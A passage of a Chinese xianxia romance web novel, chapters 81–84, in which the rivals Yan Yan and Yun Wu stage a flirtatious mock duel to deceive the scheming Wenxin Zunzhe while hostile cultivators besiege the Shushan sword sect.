他说完方才那番话后,声音又刻意压低,轻声道: “焱焱放心,这灵符的阵法很厉害,他们绝对看不出来……” 的确是厉害。 宴焱心想。 明明隔了这么远的距离,云梧却好似贴在宴焱耳旁说话一样,连最细小的气流都分毫不差的传入。 偏偏云梧絮絮叨叨的还在念着,一刻不停: “焱焱,那这样的话我们是不是要好久都见不到了。那怎么办呢?我现在就好想焱焱。” “好想和焱焱同被同眠,和焱焱谈天说地,和焱焱……” “够了!” 宴焱听不下去了,只想掐断灵符,冷笑: “你哪是单纯想和我同被同眠?别演了。” 云梧还在装可怜:“焱焱你怎么能这么想我呢?我当然不会做出那种事情,当然了,如果焱焱想的话那是最好的……” 宴焱黑着脸,掐断了灵符。 风很冷,打在耳朵上,不仅没能浇灭燥意,反而愈演愈烈。 宴焱不住的回想云梧没脸没皮的话,半晌缓不过来,将地上的草当作了什么物件,狠狠的踩了踩,仿佛这样就能让死断袖尝到苦头一般。 演戏就要演全套。问心尊者也不是蠢人,自然不会立刻就对宴焱放下戒心。所以这场戏,还要和云梧真刀真枪的在众人面前‘打’上一场才算完。 思量再三,宴焱随意找了处僻静的山洞,盘坐纳息,掐断了灵符那头的絮絮叨叨,开始运转灵力。 契约鬼王给宴焱带来了不少的灵力流,如今都尽数囤积在穴脉的一角。宴焱闭眼,强行运作几周天之后,这才缓缓睁开眼,吐出一口浊气。 外头的夜色渐浓,蝉鸣风语之间,有人轻轻踏过草面的轻响传来。 宴焱眉间一动,缓慢直起身,望向穴口。 出现在穴口的高大身影不是旁人,正是今晚应该和宴焱撕破脸的云梧。 宴焱一顿,握紧的骨鞭松开,迅速起身,用神识扫了四周一圈之后,这才转过头,毫不客气的对着云梧的脚就是一踩。 “不是说别来找我了吗?” 宴焱咬牙。 “你知不知道他们还有可能盯着我们?再者说,有什么事情不能灵符沟通?你来做什么?” 云梧眼里只剩下宴焱因气恼而一张一合的红唇,半晌才低下头,佯装委屈道: “我来前探查过了,他们没在这。” 他一面说,一面步步逼近,将宴焱拢在阴影下。 “而且焱焱,离开你的时间实在太难熬了。我忍不住就想来找你……” “这才过去多久?” 宴焱不领情,甚至还要推他。 “多久都不行,分开一会儿也不行。” 云梧埋头道。 他总能在某方面展现出惊人的固执,不顾宴焱的阻拦,娴熟的把人塞进怀里,一手垫着臀肉,把人往上抱了抱。 宴焱只觉得腿下腾空,脚尖离地,晃了晃,半晌没触碰到地板。急得他伸手拍云梧的肩: “放下!放下!我说你快放下!” 云梧不听,他继续抱起,让自己和宴焱四目相对,继续念叨: “不要,我不放。焱焱本来答应我回来就结契的,结果现在没法结契了不说,还不让我抱,真是好狠的心……” 宴焱被他箍着腰,垫着臀肉,无法脱身。只好瞪着一双凤眸,气道: “你出去之后不能这么和我说话了,听见没?再这么说话,我们定会露馅的。” 云梧把头埋在宴焱的肩颈侧,闷闷的‘嗯’了一声,又转而抬起头,再一缩紧手肘,道: “我当然会记得。出了这个洞穴,我和焱焱就不再是‘好兄弟’,而是打过架的关系。” 他一面说着,一只手捧着宴焱的臀,另一只手向上游走,停在肩胛骨处,往下摁了摁。 “我们打架打得可凶了,焱焱被我打得这儿疼,我也被焱焱打得脚疼。” 云梧的掌心很热,贴着腰侧时总会泛起酥麻,迫使宴焱不自主的一哆嗦。 像是被刁难过无数次后形成的本能反应。 脑中浮现一些画面,宴焱耳廓一红。偏偏云梧不让他走,反而添油加醋的在耳边吐气。 “到时候焱焱就尽管骂我打我好了,我会演得很像的,绝对不会露馅。” “对了,冥界那次……”云梧唇角扬起,丝毫不为自己在梦魇中的所作所为感到内疚,反而有点骄傲。“也算是我们俩打过架吧。那一次的战果嘛……就委屈焱焱先落败一回。下一回再轮到我被焱焱打败。” 他说着,手不老实的一捏臀,浑话不断: “冥界那次下手太重,焱焱被我打了这里,痛了许久呢。” 宴焱自诩铁血大直男、堂堂男频男主,哪里能受得了云梧这样的挑衅,立刻就反驳道: “你编也编得切合实际一点!我怎么会被你打得很疼呢?再说了,我那回是、那是自愿的,你怎么可能那么轻松打得过我?” 说起这个,宴焱便止不住了。红唇一张一合的说了一堆,条理清楚的论证了他们二人的武力区别。又分析了一下二人的境界差异,越说越上头,忽地就一拍云梧的肩,拧眉道: “云梧,你要是不信我,我们下次再真打一场!!” 但云梧哪里听得进去什么话,他眼眸亮亮,半晌才重复道: “焱焱你说你是自愿的?焱焱是自愿的,焱焱是自愿被我……” 动词还没吐出口,宴焱就着急忙慌的伸手,立刻捂住云梧的嘴巴。 可怜宴焱直男且神经大条了这么多年。如今短短几个月,就被可恨的断袖逼得敏感至此。云梧还没说完整呢,宴焱就能猜到他下一句要说什么诨话。 偏偏系统在一旁偷听了许久,见状还要狐疑的探出头,奇怪道: “自愿啥?宿主你哪里有自愿干啥了?你让他说呀,本系统倒要看看这云梧嘴里能说啥好话!难不成是想要诬陷宿主您自愿投降了?” 系统一边说,一边觉得有道理,神情愤慨: “哇哇哇好他个云梧!借着和宿主合作的机会就要往宿主头上泼脏水,真实太气统了!!” 宴焱尴尬的一侧目,不着痕迹的伸出脚,将系统重新踢回原位,搪塞道: “去去去,你不懂!别瞎参合。”【你现在阅读的是 】 80-90 第81章 计谋 一夜混乱。 最后宴焱也不知道今晚的闹剧是怎么收尾的, 他只记得云梧在他的身旁枕了一夜,直到天边冒起晨光,云梧才拖拖沓沓的离开。 二人相处得倒是融洽。但外界‘宴焱云梧不合’的消息早就在短短几天内传遍各地, 越传越烈, 甚至已经将他俩水火不相容的地步。 言书坊不出所料的又传起了‘天命之子两虎相斗’的传言。编得倒是有声有色, 从二人论道大会结仇, 到秘境之中争锋相对,再到冥界之行彻底撕破脸。事情脉络清晰,二人的打斗也是有来有回, 一时间传遍六界, 成了各派热议的话题。 不少人暗中作赌,赌他们二人谁能够最后活下来。一时间支持各方的阵营也是打得有来有回,针尖对麦芒。 * 蜀山剑宗,火翎峰。 三日之期很快便到头,而云梧早就在从叩心台回来那日和怀远剑尊说过此事,他没有全部告知, 而是三言两语的交代了二人的计划, 随即重重一叩首, 道: “还望师尊为我们遮掩一二。” 那时端坐在高座之上的怀远剑尊半阖着眸,沉沉的叹了口气, 摆手道: “也罢。也罢。本尊也读不懂你们的心思了。只是大会人多眼杂,你们定要多加注意。” 大会还是由蜀山剑宗主持, 各派都来了人, 共同商讨如今局面的应对之策。 问心尊者自然也来了。他倒像是什么也没发生, 风轻云淡的入了座,还冲着怀远剑尊微微颔首。 怀远剑尊脸上藏不住事,一见他望过来, 登时鼻子狠狠一出气,冷哼一声,瞥过头,装作没见到。 问心尊者没有恼怒,只是他一旁跟着的罗刹门大长老一见端坐的云梧,顿时面色一黑,发难道: “云少宗主,您是不是该给罗刹门一个交代?罗奇横死叩心台,身上还是中得你的剑,试问蜀山剑宗身为天下第一宗,堂堂正道魁首,难道就可以草芥人命吗?” 此话一出,在场各派的目光齐齐探来。审视的,畏惧的,好奇的……种种视线交杂不断,飞快的扫向云梧。 这些日子以来,关于这位云少宗主和他的宿敌宴焱的消息传得火热。 在场的都是六界各派的高层,知道的也比旁人多一些——比如那晚叩心台横尸于守山观的几个罗刹门弟子。 叩心台戒备森严,那几名弟子身上分别有几处致命伤,况且剑伤窄而细,都是一剑毙命,还有箐云剑留下的剑意。 很显然,云梧根本就没打算藏那日的行踪。 闻言,云梧施施然转过头,薄情眼微眯,毫不客气的扫过罗刹门长老,坐直了声,抱剑道: “罗奇联合几个弟子给我下了幻阵。不过他们不知我和宴焱早有间隙,在阵中幻化出宴焱的模样,妄图骗过我,被我识破之后诛杀。” “试问罗刹门长老,难道我身为正道弟子连‘有仇报仇’这样的事情也使不得吗?” 云梧一抬下巴,锐利的视线扫来,面容森冷,堵得罗刹门长老一顿。随即狠狠一瞪,支支吾吾的说不出话来。 罗奇这小子鬼主意多,这也是六界都知道的。 但罗刹门长老其实也知道点那晚罗奇的意图,本也只是试探一二,没想到天命之子的关系居然已经差到这种地步了,如今被云梧堂堂正正的戳破,倒是他下不来台了。 问心尊者面容一动,没有作声,只是轻轻一顺鬓角的发。 其余众派长老宗主倒是不少吃了一惊,交换几个眼神,暗暗咂舌。 外界传闻是一回事,亲耳听见云梧证实又是一回事。 六界证道大会进行之时,他们还以为这两个天命之子是惺惺相惜。但这淡薄的情谊还是没能抵得过利益的冲突,如今这样撕破了脸,虽说让人叹惋,但也是情理之中。 小小的争锋被很快掠过,不断有各界修士出声交流情况。怀远剑尊拧眉听着,不住的摇头。 虽说情况远远还没到万年前的地步,但也不容小觑。往生河依旧未能照常流转,人界也是瘟疫不断,死了不少凡人。魔界妖界更是暴乱频出。 这样混乱的状况让不少修士都病急乱投医,原先对于问心尊者那卦不少人还是持怀疑态度,信与不信的宗门派别人五五开。但现在…… 怀远剑尊抬眸,又是沉沉一叹。 只听座上众修士你一言我一语: “既然问心尊者已经算出解决办法,那蜀山剑宗是不是该拿出个态度来!不能因为云少宗主是纷争的源头之一就闭口不谈啊!” 附和声渐起: “是啊是啊,我宗这短短几日就损失了不少弟子,这事情拖不得!!” 怀远剑尊顿了顿,还是开口劝道: “诸位的难处我都知道,但宴焱和云梧都是根骨卓绝的小辈。他们中取舍一人,无论是谁,本尊都会感到惋惜。” 罗刹门长老冷哼一声,率先开口; “怀远剑尊您说得倒是好听,恐怕是因为您的徒儿没有完全把握斩杀宴焱才有这样的说法吧!” 还没等怀远剑尊出口,问心尊者倒是先动了,只见他一扬袖,重新坐直,朗声道: “承蒙各位信任,叩心台一直都是传天命佑苍生。看到如今六界生灵涂炭,本尊也是于心不忍。” 他出声,座下顿时安静,目光齐齐探来。 却见问心尊者面上沉静,略有惋惜,视线落在云梧身上,沉吟半会儿,开口道: “但六界事由实在紧急,还是希望云少宗主大局为重。” 问心尊者的眸色浅,长得也温吞,说话吐字很轻,貌似劝慰,实则是把云梧架在了高台上,逼着云梧要表态。 云梧自然清楚问心尊者的伎俩,毫不客气的对视,冷笑一声。 见云梧没表态,问心尊者又不疾不徐道: “本尊是看着你长大的,云少宗主的秉性我还是知道的,定然不会为了一己私利将天下人置于不顾。” 重重视线交错,落在云梧身上。 有人已经迫不及待的发声:‘是啊,云少宗主,您作为剑修第一人,难道还要在这样紧要的关头逃避不成!” “这一切都是因为云少宗主和宴焱不合而起的,理应也要由云少宗主做个了断!” 碎语纷纷,飞快的传入云梧的耳朵中。 云梧侧眸,扫过一群群墙头草般附和的修士,抿唇,半晌才转过头,盯着问心尊者,一字一句道: “好啊。” “正好我也想和宴焱又一个了断择日不如撞日,不如就今天吧。” 云梧声音不大不小,能够清晰的传入每一个人的耳中。 “但如果今日一战分出胜负,但六界之乱还没有平息……”云梧顿了顿,视线冷厉的射向问心尊者:“那问心尊者最好给我,给天下一个交代!” 见云梧在高压之下妥协,罗刹门长老不由得嗤笑出声,掩不住的得意。 但问心尊者神色未变,眯了眯眼,望了眼一口答应的云梧,却开口道: “云少宗主不如选个日子,在各派面前决出胜负,否则有失公允。万一有旁人介入因果,恐怕会会引起天道反噬。” 问心尊者说得委婉,但在场众人都是人精,马上就听出了话中之意。 这是在质疑云梧是不是会暗中利用蜀山剑宗的势力做手脚呢。 云梧自然也停听了出来,直起身,步步逼近问心尊者。 “一会儿说要尽快,一会儿又要说推迟,怎么?尊者心里有鬼?” 青年剑修生得高大俊逸,虽然尚且年轻,但步步紧逼的声势已然有了大能之风。箐云剑阵阵发出低频的嗡鸣,逼迫着问心尊者抬头看他。 那是一双很冷的薄情眼,不含温度。 问心尊者不甘示弱的抬头望去,唇角矜持的弧度不变,但眸色也冷了下来。 “云少宗主。话不能乱说。” 云梧在离问心尊者一丈远处停下,二人两相对峙,一人坐着一人紧逼,良久,云梧才收回视线,转过头,对着众人朗声道: “我知道宴焱在何处,诸位若是方便,就与我同去做个见证!” 云梧说罢,转头,盯向问心尊者的眼睛,轻声道: “省得有些人借此大做文章。” 第82章 近身搏斗 宴焱站立山间, 闭眼小憩。 几次历练下来,他的境界提升了不少。风声呼啸着越过山头,一切一切的花鸟虫鸣、枝叶掠动的声响都被他收入耳中。 忽地, 腰间灵符传来一阵轻颤, 宴焱眉间一动, 睁开了眼。 云梧的声音传来: ‘焱焱, 你说的不错。问心尊者果然在大会上逼我对你出手。’ ‘如今我已经答应他,要在今日就和你对决。但他似乎表现得不大情愿,应该是还有什么没有准备好。’ 宴焱略一垂眸, 颔首。 问心尊者费劲心机的要让他赢云梧, 宴焱不信他仅仅想要换一个靠山。如今问心尊者推脱,倒是证实了宴焱的猜测。 不过问心尊者显然没有完全信任宴焱,如今只能再演场戏给他们看了。 “我知道了。你照常来找我就好。” 云梧很快应下。 这些天宴焱为了将这出戏演好,在外没有掩藏自己的行踪,所以云梧能够很快找到宴焱的所在地也没有引起过多的怀疑。 宴焱远远的便望见熟悉的身影出现在半空。一见了宴焱,箐云剑反射性的发出铮鸣, 颤动不断。 云梧不着痕迹的狠狠踩了脚不听话的箐云剑, 这才让剑身的抖动幅度减缓。 他面上森寒冷凝, 腰间的灵符却震得响亮: “焱焱焱焱,我来了我来了。” 宴焱负手而立, 侧眸飞速扫了眼在云梧身后的各派大能,传音道: “你可悠着点, 别多话, 后边的人一个也不好对付。” 云梧还是一副杀气腾腾的模样, 他飞快点地,箐云剑入手: “焱焱,可是我一见到你就想和你说话, 不能和你亲近就算了,还不能和你说话就太难为我了。” 宴焱忍不住的想翻白眼。但碍于各派都在,只好上下打量了眼云梧,想揍人的模样倒是演都不用演了,凤眸圆瞪,恶狠狠的刮了眼云梧。 云梧提出今日就要解决二者纷争之后,怀远剑尊就以‘公平起见’的由头请了各派前去观战。 问心尊者算过卦,如若旁人贸然插手天命之子的命数有可能会引起天道震怒。所以蜀山剑宗的行为也是让各派放宽心,不会因为云梧是蜀山剑宗的少宗主就横加干涉,违背诺言。 大能们倒是没有走近,但宴焱远远的便感知到周遭传来阵阵威压,如同海水均匀的袭来。 天音宗宗主大能见二人如此争锋相对的模样,不仅也摇了摇头,叹息道: “可惜了,可惜了。这二人都是我仙界的好苗子。本以为论道大会之上他们能够惺惺相惜,不曾想啊,天公不作美。” 罗刹门大长老也一直紧盯着局势,冷哼道: “可惜什么?我早就看出来了,他们二人的性格根本就不合,况且气运相争,怎么可能会真的称兄道弟?” 罗刹门大长老说这话的时候眼含得意,罗刹门一贯和蜀山剑宗不对付,当时还试图拉拢过宴焱。最后宴焱答应了云梧,更是让这事成了他们心尖上的一根刺。 如今看到宴焱和云梧不合,最开心的莫过于邪修一派了。 怀远剑尊不着痕迹的瞥了罗刹门长老,没出声,只是哼了口气,胡须一颤。 那头,云梧已然拔剑,率先出招! 他的剑法的招式倒是多,一招接着一招,剑光如虹,瞬时间劈出几招,银光‘唰唰唰’的晃过。 箐云剑发出气势迫人的铮鸣,宴焱飞快出手接招,骨鞭一扫,没击中云梧的脚踝,被险之又险的躲过。 天岳宗主一直在沉默,如今见了云梧出手,轻轻扫了眼怀远剑尊,末了憋不住般,轻声道: “云梧这些年的剑术……怎么开始走这种华丽的风格了?” 怀远剑尊一噎,沉默了半晌,末了才道: “徒弟长大了,有自己想法了。” 云梧几招下来,攻势并没有非常的迅猛,而是采取飞快近身的策略,不出几息,云梧与宴焱的距离便被拉近。 “你凑这么近干什么?” 宴焱一边打,一边咬牙切齿的询问。 “没干嘛呀,就是打架呀。” 云梧睁着眼说瞎话。 又是一招‘游龙’,只是剑尖一转,剑柄往下走,于是握着剑的手便轻轻蹭过宴焱的腰,不落痕迹的把腰往里一带。 宴焱躲避不及,只觉得后腰上一热,有人的手背掠过他的背,一下不够又来一下,叫宴焱的额角不受控的跳了跳: “你在做什么?快收手!!还有人看着呢!!” 云梧演得逼真,神色变都不变,只是眼帘微垂,视线深邃,落在近在咫尺的唇上,道: “没什么的焱焱,别怕。” 宴焱额角又是一跳: “这是你嘴上说没什么就没什么的问题吗?你给我老实点!” 这么说着,宴焱手下骨鞭的力道更重,鞭身毫不留情的抽在了云梧的肩头,叫云梧闷哼一声。 距离太近,骨鞭就施展不开。宴焱干脆手脚并用,冲着云梧的穴位打。力道不轻,泄愤似的。 但云梧死性不改,非但没有收敛,反而变本加厉。 他们近身搏斗,贴得很近,许多动作飞快的掠过,一招接着一招,所以有什么□□磕碰也是理所应当的。 宴焱妄图挑臂扭肘,但云梧借势近身,扣住肩,旁人看了以为他要借机扳倒宴焱。宴焱却感受得清楚,肩上的手不老实的摩挲着,指腹蹭过肌肤,抽离时还意犹未尽的一抚,叫宴焱一个激灵,凤眸怒瞪。 “焱焱,对不起,我忍不住。” 箐云剑的剑势依旧凌厉,但云梧私底下道歉道得倒是顺溜。 可嘴上道歉,手里还动作一刻不停。 宴焱抬腿要踢,云梧就也伸腿,抓臂压腹,将人尽数揽在怀里。尽管相贴得时间很短,但是宴焱还是敏锐的察觉到背后贴着的东西,面色陡然一沉。 这东西他在论道大会上还感知过呢,那时的宴焱还是个纯洁无暇的直男,不懂这些弯弯绕绕的,还以为是云梧藏了暗器。 如今看来,这死断袖居然是早就盯上他了。 宴焱气得磨牙,脚下狠狠一踩,转身,躲过云梧的桎梏。 “混蛋,还在打着呢,你收敛一点不行吗?” 宴焱实在是气不过,只觉得浑身的血都冲上了脸,脚下一刻不停,抬腿,眼见着就要往云梧腿中间踹去,以解他心头之恨。 新仇旧恨交织,宴焱一面妄图踹中目标,一面咬牙骂道: “混账东西,还长了个什么混账玩意,那尺寸是人能长出来的吗?” 云梧委屈: “焱焱,你要嫌大了我就去做寻个法子弄小,肯定不会再让你疼的。” 云梧一边劝说,一边极力躲过。 宴焱的脚尖差点而就要触及目标,离了有半寸远,又一拐,踢中了云梧的大腿。 “什么叫做‘再’??没有再了!!我和你就纯兄弟,纯兄弟懂吗?再什么再??” 宴焱怒骂,凤眸狠狠一睨云梧。 旁人看不清楚,他离得这么近还看不清吗?那薄情眼分明含着笑意,甚至还有点儿得意呢。 远远观战的大能倒是什么都不知道。只能见到二人紧紧缠斗在一块,不分上下,虽说二人都年纪轻轻,可手段赫然凌厉,出手之间已然又大能之风,眼见着局势逐渐紧绷起来,二人打得难舍难分,剑拔弩张。 三清宫宫主略一摇头,轻声道: “他们二人谁都不服谁,看着这场打斗应该是没办法决出胜负了。” “可不是吗?云梧连压箱底的招式都用出来了,宴焱也像是要力竭了,但还没有分出胜负。” 问心尊者不发一言,但视线微冷,扫过缠斗二人,没说话,也不知在想些什么。 战斗进入白热化阶段,鞭影和剑影都飞快的闪过,眼看着宴焱真要急了,云梧连忙岔开话题道: “焱焱,你打我左腰处,我逼出旧伤,今日这场就演到这里。” 说完,云梧暗示性的一低头,目光意味深长: “晚上再见。” 宴焱冷笑,同时手中骨鞭顿时舒展,抽开,没有收力道,鞭尾精准的打在左腰上。 灵力猛然炸开。 “再什么见,没得见了!” 云梧抬眸望了眼宴焱,忽地弯腰,猛的吐出口鲜血。 与此同时箐云剑一挑,宴焱也似受了后坐力的影响,猛的往后退了数步,转头瞥了眼高处的问心尊者,手下捏诀,飞快的消失在山头。 怀远剑尊眉头一皱,瞬间缩地成寸,一把搀扶住云梧。 云梧唇角落血,气息不稳,见了怀远剑尊,扭头将箐云剑一收,拱手低声道: “徒儿无能,未能斩杀他。” 云梧的声音不大不小,恰好是给陆续赶来的其他大能听的。 他和宴焱打的这场战本就是临时起意,两人都是人中龙凤,所以在场的各派也没有抱着只打一场就能了结的心思,闻言,多数也只是点头表示一二,罗刹门大长老等人倒是幸灾乐祸。 此场虽说宴焱先行离开,但云梧受得伤明显更重。 如果六界情况再度恶化,各派势必要再度压力蜀山剑宗,云梧旧伤未愈,这天下小辈第一人的名号恐怕就要易主了。 问心尊者还是那副波澜不惊的脸,只是视线停在云梧的伤口上,略微一顿,随即低声道: “云少宗主,多保重。” 此话落下,问心尊者没去理会怀远剑尊刀般冷的目光,后退一步,也消失在了山头。 第83章 劫难 不出意外的, 宴焱和云梧这一战的消息又是长了翅膀般飞快传入六界。六界是满城风雨,传闻二人见了对方恨不得啖其生肉,已经再也没有合谈的可能性了。 外界闹得沸沸扬扬, 猜测纷纷, 但传说中兵刃相见的二人此时却贴得极近。 云梧兑现自己的话, 甚至都没拐回一趟蜀山剑宗, 箐云剑就嗖的一下便寻到了宴焱。 宴焱本还在约定好的竹舍等着问心尊者,一见是云梧先来,蓦地一怔, 随即挑眉问道: “你怎么找到我的?” 云梧的左腰处还有旧伤, 闻言,他先是不答,反而一遮腰间,忽地低头‘嘶’了一声。 宴焱一眼就瞧出他在装,冷哼一声,没有妥协, 继续追问: “灵符有定位?” 云梧见岔开话题失败, 只好老实道: “是, 我偷偷下的阵法……” 如此说着,云梧又企图分散注意力, 寻了一处墙靠着,蜷起腹部, 皱眉道: “焱焱, 我这儿是真疼。本来还好的, 方才赶路用了点灵力,更疼了。” 宴焱没理,脚尖轻点, 蹙眉道: “疼就对了。你别装了,我已然和问心尊者相约再在这商量对策,你要是在这会被他发现的。” 云梧不应声,而是一点点的往下坐,身体蜷缩,捂着左腰,脊背隐隐作颤。 宴焱本来不想理的,但他没忍住抬眼瞧了云梧一眼,见他垂着头,也看不清他的脸,只是一味沉默着。让宴焱又忍不住看了一眼又一眼,最后一抿唇,朝着云梧走来。 他弯下腰,伸出细白的手,点了点云梧的肩头。 没动。 宴焱眉头皱得更紧,他扭头望了几眼四周,随手设下个结界。伸出手去摆云梧的头,企图把垂着的头颅掰正。 这不掰不要紧,一掰,宴焱便愣住了。却见云梧面色惨白,额角还有细密的汗,似乎真疼极了。 宴焱立刻蹲下身,前去扯开云梧左腰处的衣料,企图看清里头的伤势究竟如何。 一边扯,宴焱一边自顾自道:“不对啊,我明明没用多大力,怎么会……” 可就当宴焱的手贴上云梧腰腹的一刹,面色惨白的云梧忽地轻轻颤了下,宴焱一眼就瞧见他唇角抑制不住的弧度。 宴焱:…… 他收起脸上的关切,一脚利落的又狠狠往左腹上一踹。 “让你装。” 见宴焱恼了,云梧立刻收起笑,眼疾手快的攥住宴焱的腿,往里拉了拉。 正当云梧还想开口说什么话讨饶时,宴焱忽地面色一变,低声道: “问心尊者来了。” 说罢,宴焱利落的踢开摆放一侧的衣柜,没顾得上征求云梧的意见,手忙脚乱的把人连箐云剑全塞进了衣柜里。末了还用脚踹了踹柜门,掩去气息。 ……跟藏奸夫似的。 云梧没来由的想。 柜门‘砰’的一声合上,云梧的眼前景色彻底暗了下去。柜门小,于是他只能极力缩紧身型,不至于在问心尊者面前顶开柜门。 宴焱的感知没有错,问心尊者果真是马不停蹄的出现在约定的地方。 他面上没了白日的淡然,而是一反常态的有点儿急躁,一见宴焱,连客套也不顾,立刻开口质问道: “为什么没有用我给你的幻虫?” 宴焱扫了眼问心尊者,挑眉,没有露怯,而是反问道:“在场的人那么多,我怎么能确保我不会被发现?” “再者说,”宴焱话音微顿,若有所思的掠过问心尊者的脸,好整以暇道:“你急什么?” 宴焱此话一出,问心尊者话语顿时顿住,也意识到自己的表现过于急躁,蜷着道眉一松,唇角僵硬的提起,又恢复了那副假笑脸。 “我这也是为了你考虑。至于其他……你尽管放心,本尊有的是办法。” “明日仙界会有一场大乱,你只需将人引到叩心台,我自会布阵。届时还希望小友能够一举斩杀,夺得最后的胜利。” 问心尊者走近一步,仿若要和宴焱攀关系似的,低声道: “到时候气运都在你的身上,叩心台就要仰仗你了。” 宴焱没有反驳,微微一点头,直视问心尊者的眼睛:“当然。如果你信守承诺,我自然会尽全力夺得胜利,不会叫尊者的希望落空。” 问心尊者深深看了宴焱一眼,没有久留,像往常一样扯了几句客套,很快提脚离开。 藏在柜后的云梧立刻扒开一道缝隙,往外探头。 宴焱这一次没有制止云梧的动作,只是摸了摸下巴,轻声道: “他还是没有完全信任我。我们演的戏没有骗过他。” 云梧继续探出半边身体,离宴焱更近了一点儿,回话道: “但他还是这么匆匆的要焱焱你动手,应该是已经箭到弦上不得不发了。” 宴焱沉吟一二,继而转头道: “不管怎么样,你还是要提醒怀远剑尊,若是我猜的不错,明日或许会有针对蜀山剑宗道一场袭击。” “邪修一脉盯着蜀山剑宗这块肥羊已经很久了,罗奇不可能白白帮问心尊者的忙,问心尊者能给邪修的也只有出卖蜀山剑宗了。” * 正如宴焱所料,所谓‘动乱’果真是针对蜀山剑宗。 云梧回到蜀山剑宗没多久,仙界便无端端的起了暴乱。乌云沉而密集的压下山头,形成一张巨大而浓密的网,兜住了天幕。 这场动乱先是从次州起的,密密麻麻的散修队伍集结在一块,打着为六界苍生的旗号围攻了几座由正派控制的城池。他们的速度太快,并且组织严密,正道宗门甚至连联结防抗的机会都没有,很快就被各个围攻。 紧接着,以罗刹门为代表的邪修也出手,很快和散修联盟集结在一块共同团团围住了冀州几座高峰。说是要占领高处要地,但明眼人都能看出此举是冲着蜀山剑宗去的。 冀州地势多数平坦,俊陡的山脉无非就那几座,蜀山剑宗的七座连峰自然而然的便成了众矢之的。 火翎峰上是连成一排,将护山大阵守得严丝合缝的剑宗弟子,峰间凛冽的风将他们的衣袍吹得猎猎作响,剑尖整齐的向外对准来敌;峰下则是在短时间内集结的密密麻麻,虎视眈眈的修士们。 一眼扫过去,邪修居多。罗刹门居然连掩饰都懒得掩饰,赫然有几个罗刹门高层在列,手握铁锤,面目狰狞。 “开山!!” 峰下聚集的修士群中,不知是谁举起了长戟,高声呼呵道。 很快有人接二连三的呼应,一声声‘开山’整天响,此起彼伏的响彻在峰下。 “这群无耻之徒!!” 峰上弟子咬牙切齿的盯着底下人,狠狠道。 “仙界刚开始混乱的时候我们蜀山剑宗都是打头阵,如今居然反过来围攻我们!岂有此理!” 弟子还没有抱怨几句,底下的骚乱却愈发严重。罗刹门弟子从修士群中高举起手,冷笑着高呵道: “蜀山剑宗!你身为天下第一宗,如今天下人有难,你们却不肯尽职责!” “既然如此就让出高峰,让更有能力的人接管这样的局面!!” 又有人附和: “没错,问心尊者都算过了,如今的局势有蜀山剑宗少宗主的一半责任,为什么蜀山剑宗不尽早处理此事!!还要龟缩至此!!” “道友说的对!!” 此番话一出,修士们更是群情激愤,刀剑戟锤各个晃动,眼看着就要一鼓作气攻上蜀山剑宗。 守山的弟子一看情形不对,立刻转头道: “快去通禀剑尊!!” 但来不及了,罗刹门显然早有准备。 无数的修士从山脚处围来,罗刹门人打头阵,形成一张密密麻麻的人网,围住了山脚的各个部位。 ‘轰隆隆’—— 是无数法器撞击护山大阵的闷响。 但蜀山剑宗毕竟树大根深,护山大阵牢固至极,阻挡了大部分的修士进入门内。 他们一次次攻击之下,只在东南角被砸开了一道小豁口,数十邪修越过了护山大阵,在阵内摇旗呐喊,企图破开阵法让更多群情激愤的修士进入山内。 蜀山剑宗弟子立刻拔剑而来,冷兵器交接之声不绝于耳。 可就在这时,峰尖集结的乌云间顿时滚过几道闷雷,隐隐有紫色的雷光在云层中间闪动。 ‘轰隆’的一声巨响炸开。 天雷从层云间劈落,精准的落在从山脚到山腰处的这一段阶梯之上。紧接着,一股凌乱的灵力流在山间炸开,形成一道道漩涡状的风暴,将周遭的灵力卷入,压紧,发出可怖的‘滋啦’声。 立刻有人大叫不好,屁滚尿流的就要往回跑。 这样混乱的灵力流正是如今仙界灵力错乱的产物,但以往只会在偏远的地方出现,不曾想如今居然蔓延到了冀州的中心。 无数袭山的修士没能逃过灵力流巨大的吸力,渺小的躯体腾空而起,一个接着一个的被吸入灵力流的核心。很快,山间就爆出了一朵又一朵的血雾,薄薄的像一层水纱,均匀的落在山脚。 其余没有冲上山的修士面色顿时发白,哆嗦着往外拥挤着逃开,一边逃,一边在人群中传着: “不好了,不好了,蜀山剑宗要遭天道清算了——” 第84章 祭台 问心尊者的时间掐得刚好。 罗刹门与叩心台配合得很默契, 一边突袭蜀山剑宗,一边则是利用宴焱再引出云梧前往叩心台。 冀州中心混乱不堪,地处最高峰的叩心台却很冷清。命修们早便被驱赶到山内一角。铺天盖地的护峰大阵应声而开。庞大的比斗台上设了一张巨大的防护罩, 严丝合缝的将内里笼罩。 宴焱站在比斗台的外侧, 略微挑眉, 望向一旁的问心尊者: “这就是你所说的主意?让我引云梧来再在这比斗。我又怎能信你没有在这暗设什么机关串通蜀山剑宗斩杀我?” 问心尊者闻言, 抬眼直视宴焱: “到现在还在纠结于信不信任,宴小友是不是考虑得有点晚了。” 宴焱不甘示弱的回望,嘴角一扯, 垂眸哼笑。 即使护峰大阵开启, 从四面八方涌来的嘈杂也能清楚的传入耳中,整个冀州乌云紧罩,阴沉沉的透不出一点儿光。 “云梧呢?” 问心尊者在比斗台边来回踱步,终于,他抬起头,质问宴焱。 宴焱回头扫了他一眼。这些天问心尊者的情绪是越来越不稳定了, 鬓角的白斑起得很快, 他的黑发很快便被密密麻麻的白丝替代, 面容焦灼,见宴焱不出声, 又高声问了一句: “云梧在哪呢?这都过去多久了,他怎么还没来??” 宴焱耸肩, 眉梢一挑: “不是尊者您请他来的吗?问我做什么?” 闻言, 踱步的问心尊者脚步一顿, 转过身,深深看了宴焱一眼。 正当他哆嗦着唇,眯眼想再说什么时, 云梧终于来了。 蜀山剑宗离叩心台不近。问心尊者是掐准了时间,待到云梧接近了叩心台再爆发针对蜀山剑宗的‘动乱’,不会让蜀山剑宗已经被围攻的消息传入云梧耳中。 宴焱抬眸,不着痕迹的瞥了眼风尘仆仆的云梧。 昨晚云梧过得并不平静。在宴焱猜出问心尊者的意图之后,云梧便连夜赶回蜀山剑宗制定对策。经过了一夜的筹备,整个人都疲惫了不少。 箐云剑掠过半空,精准的落在了宴焱面前。 为了避嫌,宴焱后退一步,没有说话,反倒是问心尊者面上终于露出了笑,几步匆匆走来,左右看了他们二人一眼,催促道: “好了,既然二位小友都到此地了,就快些进比武台吧。如今六界大乱,天下生灵可等不了太久……” 问心尊者话语一顿,意识到自己的失态,又补充道: 